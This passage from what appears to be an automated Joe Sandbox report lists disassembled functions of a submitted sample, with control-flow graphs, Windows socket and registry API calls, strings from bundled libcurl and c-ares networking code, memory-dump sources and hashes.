1831->1834 1832->1770 1833->1770 1834->1833 1835 102b549-102b54d 1834->1835 1835->1833 1836 102b54f-102b558 1835->1836 1836->1833 1837 102b55a-102b576 call 102b870 * 2 1836->1837 1837->1770 1837->1833
                                                    APIs
                                                    • getsockname.WS2_32(-00000020,-00000020,?), ref: 0102B2B6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: getsockname
                                                    • String ID: ares__sortaddrinfo.c$cur != NULL
                                                    • API String ID: 3358416759-2430778319
                                                    • Opcode ID: ab38db667d328f628a406ee279e3c409c56b3d4f9f4a310e6845f12586f2b671
                                                    • Instruction ID: bc5d8a4c232d20c3e93904005e3a390aaeaca0ff9ecb9141c7ef25e0fa49282b
                                                    • Opcode Fuzzy Hash: ab38db667d328f628a406ee279e3c409c56b3d4f9f4a310e6845f12586f2b671
                                                    • Instruction Fuzzy Hash: E5C18F716043259FD718DF28C880A6EBBE1FF88314F05896CE9898B3A1DB34ED45CB81
                                                    Function 0102A8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,0101712E,?,?,?,00001001,00000000), ref: 0102A90D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: recvfrom
                                                    • String ID:
                                                    • API String ID: 846543921-0
                                                    • Opcode ID: 70db347fb7991243c9e3a108e4074bad60c3038362011c22911d5157d991c503
                                                    • Instruction ID: 992f1884bf3b1f939d657d9e5ce65a6d460ac61558f6a2fb3c7abadccd0cafd8
                                                    • Opcode Fuzzy Hash: 70db347fb7991243c9e3a108e4074bad60c3038362011c22911d5157d991c503
                                                    • Instruction Fuzzy Hash: 7EF06D79208318AFD2109E02DC48D6BBBEDEFC9654F05459DF988132118670AE10CAB2
                                                    Function 0101A440 Relevance: 50.1, APIs: 20, Strings: 8, Instructions: 1066registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 0101A499
                                                    • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 0101A4FB
                                                    • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 0101A531
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 0101AA19
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0101AA4C
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 0101AA97
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0101AAE9
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0101AB30
                                                    • RegCloseKey.KERNELBASE(?), ref: 0101AB6A
                                                    • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 0101AB82
                                                    • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 0101AC46
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 0101AD0A
                                                    • RegEnumKeyExA.KERNELBASE ref: 0101AD8D
                                                    • RegCloseKey.KERNELBASE(?), ref: 0101ADD9
                                                    • RegEnumKeyExA.KERNELBASE ref: 0101AE08
                                                    • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 0101AE2A
                                                    • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0101AE54
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0101AF63
                                                    • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0101AFB2
                                                    • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 0101B072
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$Open$AdaptersAddresses$CloseEnum
                                                    • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
                                                    • API String ID: 4281207131-1047472027
                                                    • Opcode ID: 0389685ee1c1069f9cc32f2102730edeab54525bd8edf4a455c1a260c89200be
                                                    • Instruction ID: 401c2d56b0c0e08e93be542fe50914ee3fcc23985dc958f418aa2ff21b72a3f4
                                                    • Opcode Fuzzy Hash: 0389685ee1c1069f9cc32f2102730edeab54525bd8edf4a455c1a260c89200be
                                                    • Instruction Fuzzy Hash: FC72BFB1605341EFE7219B28CC81F6B7BE9AF85700F14482CF985DB2A1E775E944CB92
                                                    Function 00F9A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 00F9A832
                                                    Strings
                                                    • Trying %s:%d..., xrefs: 00F9A7C2, 00F9A7DE
                                                    • Bind to local port %d failed, trying next, xrefs: 00F9AFE5
                                                    • @, xrefs: 00F9AC42
                                                    • Couldn't bind to '%s' with errno %d: %s, xrefs: 00F9AE1F
                                                    • Could not set TCP_NODELAY: %s, xrefs: 00F9A871
                                                    • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 00F9AD0A
                                                    • cf-socket.c, xrefs: 00F9A5CD, 00F9A735
                                                    • Local Interface %s is ip %s using address family %i, xrefs: 00F9AE60
                                                    • Local port: %hu, xrefs: 00F9AF28
                                                    • Name '%s' family %i resolved to '%s' family %i, xrefs: 00F9ADAC
                                                    • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00F9A6CE
                                                    • Trying [%s]:%d..., xrefs: 00F9A689
                                                    • bind failed with errno %d: %s, xrefs: 00F9B080
                                                    • cf_socket_open() -> %d, fd=%d, xrefs: 00F9A796
                                                    • @, xrefs: 00F9A8F4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: setsockopt
                                                    • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                                    • API String ID: 3981526788-2373386790
                                                    • Opcode ID: d05177382c14ce711129eda119c8e1db24731cfe5a01f3ecbb9ef3293580dd34
                                                    • Instruction ID: d603bd2ca086717b46010a6ba35c5684fbdd247777ee37b7626673aceaf869a4
                                                    • Opcode Fuzzy Hash: d05177382c14ce711129eda119c8e1db24731cfe5a01f3ecbb9ef3293580dd34
                                                    • Instruction Fuzzy Hash: BB62D271908341ABEB21CF24DC46BABB7E4BF85314F144919F98897292E771E844DBD3
                                                    Function 01029740 Relevance: 18.2, APIs: 3, Strings: 7, Instructions: 743registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 855 1029740-102975b 856 1029780-1029782 855->856 857 102975d-1029768 call 10278a0 855->857 859 1029914-102994e call 12e8b70 RegOpenKeyExA 856->859 860 1029788-10297a0 call 12e8e00 call 10278a0 856->860 865 10299bb-10299c0 857->865 866 102976e-1029770 857->866 868 1029950-1029955 859->868 869 102995a-1029992 RegQueryValueExA RegCloseKey call 12e8b98 859->869 860->865 871 10297a6-10297c5 860->871 872 1029a0c-1029a15 865->872 870 1029772-102977e 866->870 866->871 868->872 883 1029997-10299b5 call 10278a0 869->883 870->860 878 1029827-1029833 871->878 879 10297c7-10297e0 871->879 884 1029835-102985c call 101e2b0 * 2 878->884 885 102985f-1029872 call 1025ca0 878->885 881 10297e2-10297f3 call 12e8b50 879->881 882 10297f6-1029809 879->882 881->882 882->878 895 102980b-1029810 882->895 883->865 883->871 884->885 896 10299f0 885->896 897 1029878-102987d call 10277b0 885->897 895->878 900 1029812-1029822 895->900 899 10299f5-10299fb call 1025d00 896->899 904 1029882-1029889 897->904 909 10299fe-1029a09 899->909 900->872 904->899 908 102988f-102989b call 1014fe0 904->908 908->896 913 10298a1-10298c3 call 12e8b50 call 10278a0 908->913 909->872 919 10299c2-10299ed call 101e2b0 * 2 913->919 920 10298c9-10298db call 101e2d0 913->920 919->896 920->919 924 10298e1-10298f0 call 101e2d0 920->924 924->919 931 10298f6-1029905 call 10263f0 924->931 935 1029f66-1029f7f call 1025d00 931->935 936 102990b-102990f 931->936 935->909 938 1029a3f-1029a5a call 1026740 call 10263f0 936->938 938->935 944 1029a60-1029a6e call 1026d60 938->944 947 1029a70-1029a94 call 1026200 call 10267e0 call 1026320 944->947 948 1029a1f-1029a39 call 1026840 call 10263f0 944->948 959 1029a16-1029a19 947->959 960 1029a96-1029ac6 call 101d120 947->960 948->935 948->938 959->948 962 1029fc1 959->962 965 1029ae1-1029af7 call 101d190 960->965 966 1029ac8-1029adb call 101d120 960->966 964 1029fc5-1029ffd call 1025d00 call 101e2b0 * 2 962->964 964->909 965->948 974 1029afd-1029b09 call 1014fe0 965->974 966->948 966->965 974->962 980 1029b0f-1029b29 call 101e730 974->980 984 1029f84-1029f88 980->984 985 1029b2f-1029b3a call 10278a0 980->985 988 1029f95-1029f99 984->988 985->984 992 1029b40-1029b54 call 101e760 985->992 990 1029fa0-1029fb6 call 101ebf0 * 2 988->990 991 1029f9b-1029f9e 988->991 1002 1029fb7-1029fbe 990->1002 991->962 991->990 998 1029f8a-1029f92 992->998 999 1029b5a-1029b6e call 101e730 992->999 998->988 1005 1029b70-102a004 999->1005 1006 1029b8c-1029b97 call 10263f0 999->1006 1002->962 1010 102a015-102a01d 1005->1010 1012 1029c9a-1029cab call 101ea00 1006->1012 1013 1029b9d-1029bbf call 1026740 call 10263f0 1006->1013 1014 102a024-102a045 call 101ebf0 * 2 1010->1014 1015 102a01f-102a022 1010->1015 1024 1029f31-1029f35 1012->1024 1025 1029cb1-1029ccd call 101ea00 call 101e960 1012->1025 1013->1012 1032 1029bc5-1029bda call 1026d60 1013->1032 1014->964 1015->964 1015->1014 1027 1029f40-1029f61 call 101ebf0 * 2 1024->1027 1028 1029f37-1029f3a 1024->1028 1043 1029ccf 1025->1043 1044 1029cfd-1029d0e call 101e960 1025->1044 1027->948 1028->948 1028->1027 1032->1012 1042 1029be0-1029bf4 call 1026200 call 10267e0 1032->1042 1042->1012 1063 1029bfa-1029c0b call 1026320 1042->1063 1047 1029cd1-1029cec call 101e9f0 call 101e4a0 1043->1047 1053 1029d53-1029d55 1044->1053 1054 1029d10 1044->1054 1064 1029d47-1029d51 1047->1064 1065 1029cee-1029cfb call 101e9d0 1047->1065 1057 1029e69-1029e8e call 101ea40 call 101e440 1053->1057 1058 1029d12-1029d2d call 101e9f0 call 101e4a0 1054->1058 1083 1029e90-1029e92 1057->1083 1084 1029e94-1029eaa call 101e3c0 1057->1084 1080 1029d5a-1029d6f call 101e960 1058->1080 1081 1029d2f-1029d3c call 101e9d0 1058->1081 1074 1029c11-1029c1c call 1027b70 1063->1074 1075 1029b75-1029b86 call 101ea00 1063->1075 1069 1029dca-1029ddb call 101e960 1064->1069 1065->1044 1065->1047 1093 1029e2e-1029e36 1069->1093 1094 1029ddd-1029ddf 1069->1094 1074->1006 1097 1029c22-1029c33 call 101e960 1074->1097 1075->1006 1102 1029f2d 1075->1102 1108 1029dc2 1080->1108 1109 1029d71-1029d73 1080->1109 1081->1058 1105 1029d3e-1029d42 1081->1105 1090 1029eb3-1029ec4 call 101e9c0 1083->1090 1112 1029eb0-1029eb1 1084->1112 1113 102a04a-102a04c 1084->1113 1090->948 1114 1029eca-1029ed0 1090->1114 1099 1029e38-1029e3b 1093->1099 1100 1029e3d-1029e5b call 101ebf0 * 2 1093->1100 1103 1029e06-1029e21 call 101e9f0 call 101e4a0 1094->1103 1124 1029c66-1029c75 call 10278a0 1097->1124 1125 1029c35 1097->1125 1099->1100 1110 1029e5e-1029e67 1099->1110 1100->1110 1102->1024 1139 1029e23-1029e2c call 101eac0 1103->1139 1140 1029de1-1029dee call 101ec80 1103->1140 1105->1057 1108->1069 1119 1029d9a-1029db5 call 101e9f0 call 101e4a0 1109->1119 1110->1057 1110->1090 1112->1090 1117 102a057-102a070 call 101ebf0 * 2 1113->1117 1118 102a04e-102a051 1113->1118 1123 1029ee5-1029ef2 call 101e9f0 1114->1123 1117->1002 1118->962 1118->1117 1152 1029db7-1029dc0 call 101eac0 1119->1152 1153 1029d75-1029d82 call 101ec80 1119->1153 1123->948 1146 1029ef8-1029f0e call 101e440 1123->1146 1142 102a011 1124->1142 1143 1029c7b-1029c8f call 101e7c0 1124->1143 1132 1029c37-1029c51 call 101e9f0 1125->1132 1132->1006 1169 1029c57-1029c64 call 101e9d0 1132->1169 1157 1029df1-1029e04 call 101e960 1139->1157 1140->1157 1142->1010 1143->1006 1164 1029c95-102a00e 1143->1164 1167 1029ed2-1029edf call 101e9e0 1146->1167 1168 1029f10-1029f26 call 101e3c0 1146->1168 1173 1029d85-1029d98 call 101e960 1152->1173 1153->1173 1157->1093 1157->1103 1164->1142 1167->948 1167->1123 1168->1167 1182 1029f28 1168->1182 1169->1124 1169->1132 1173->1108 1173->1119 1182->962
                                                    APIs
                                                    • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 01029946
                                                    • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 01029974
                                                    • RegCloseKey.KERNELBASE(?), ref: 0102998B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos$sts
                                                    • API String ID: 3677997916-4129964100
                                                    • Opcode ID: 7486bb3a568572a0bd80e04f10b97b2ac10cf9ad0dcf2dc11b09177f1a095d17
                                                    • Instruction ID: 5121fb6395fcdad1845ff0408f0c450d4db660a865dabbcf3412d22fa276b0ed
                                                    • Opcode Fuzzy Hash: 7486bb3a568572a0bd80e04f10b97b2ac10cf9ad0dcf2dc11b09177f1a095d17
                                                    • Instruction Fuzzy Hash: 1832CAB1900222ABFB52AB24EC41A5F76E5AF64318F084474FDCD97262F735E914C793
                                                    Function 00F98B50 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 269networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1265 f98b50-f98b69 1266 f98b6b-f98b74 1265->1266 1267 f98be6 1265->1267 1269 f98beb-f98bf2 1266->1269 1270 f98b76-f98b8d 1266->1270 1268 f98be9 1267->1268 1268->1269 1271 f98b8f-f98ba7 call f76e40 1270->1271 1272 f98bf3-f98bfe call f9a550 1270->1272 1279 f98cd9-f98d16 SleepEx getsockopt 1271->1279 1280 f98bad-f98baf 1271->1280 1277 f98de4-f98def 1272->1277 1278 f98c04-f98c08 1272->1278 1283 f98e8c-f98e95 1277->1283 1284 f98df5-f98e19 call f9a150 1277->1284 1285 f98dbd-f98dc3 1278->1285 1286 f98c0e-f98c1d 1278->1286 1281 f98d18-f98d20 1279->1281 1282 f98d22 1279->1282 1287 f98bb5-f98bb9 1280->1287 1288 f98ca6-f98cb0 1280->1288 1289 f98d26-f98d39 1281->1289 1282->1289 1290 f98f00-f98f06 1283->1290 1291 f98e97-f98e9c 1283->1291 1324 f98e88 1284->1324 1325 f98e1b-f98e26 1284->1325 1285->1268 1293 f98c1f-f98c30 connect 1286->1293 1294 f98c35-f98c48 call f9a150 1286->1294 1287->1269 1296 f98bbb-f98bc2 1287->1296 1288->1279 1295 f98cb2-f98cb8 1288->1295 1298 f98d3b-f98d3d 1289->1298 1299 f98d43-f98d61 call f7d8c0 call f9a150 1289->1299 1290->1269 1300 f98edf-f98eef call f678b0 1291->1300 1301 f98e9e-f98eb6 call f72a00 1291->1301 1293->1294 1326 f98c4d-f98c4f 1294->1326 1303 f98ddc-f98dde 1295->1303 1304 f98cbe-f98cd4 call f9b180 1295->1304 1296->1269 1305 f98bc4-f98bcc 1296->1305 1298->1299 1298->1303 1330 f98d66-f98d74 1299->1330 1321 f98ef2-f98efc 1300->1321 1301->1300 1323 f98eb8-f98edd call f73410 * 2 1301->1323 1303->1268 1303->1277 1304->1277 1311 f98bce-f98bd2 1305->1311 1312 f98bd4-f98bda 1305->1312 1311->1269 1311->1312 1312->1269 1313 f98bdc-f98be1 1312->1313 1320 f98dac-f98db8 call fa50a0 1313->1320 1320->1269 1321->1290 1323->1321 1324->1283 1332 f98e28-f98e2c 1325->1332 1333 f98e2e-f98e85 call f7d090 call fa4fd0 1325->1333 1327 f98c8e-f98c93 1326->1327 1328 f98c51-f98c58 1326->1328 1337 f98c99-f98c9f 1327->1337 1338 f98dc8-f98dd9 call f9b100 1327->1338 1328->1327 1334 f98c5a-f98c62 1328->1334 1330->1269 1339 f98d7a-f98d81 1330->1339 1332->1324 1332->1333 1333->1324 1341 f98c6a-f98c70 1334->1341 1342 f98c64-f98c68 1334->1342 1337->1288 1338->1303 1339->1269 1345 f98d87-f98d8f 1339->1345 1341->1327 1347 f98c72-f98c8b call fa50a0 1341->1347 1342->1327 1342->1341 1349 f98d9b-f98da1 1345->1349 1350 f98d91-f98d95 1345->1350 1347->1327 1349->1269 1355 f98da7 1349->1355 1350->1269 1350->1349 1355->1320
                                                    APIs
                                                    • connect.WS2_32(?,?,00000001), ref: 00F98C30
                                                    • SleepEx.KERNELBASE(00000000,00000000), ref: 00F98CF3
                                                    • getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000004), ref: 00F98D0F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
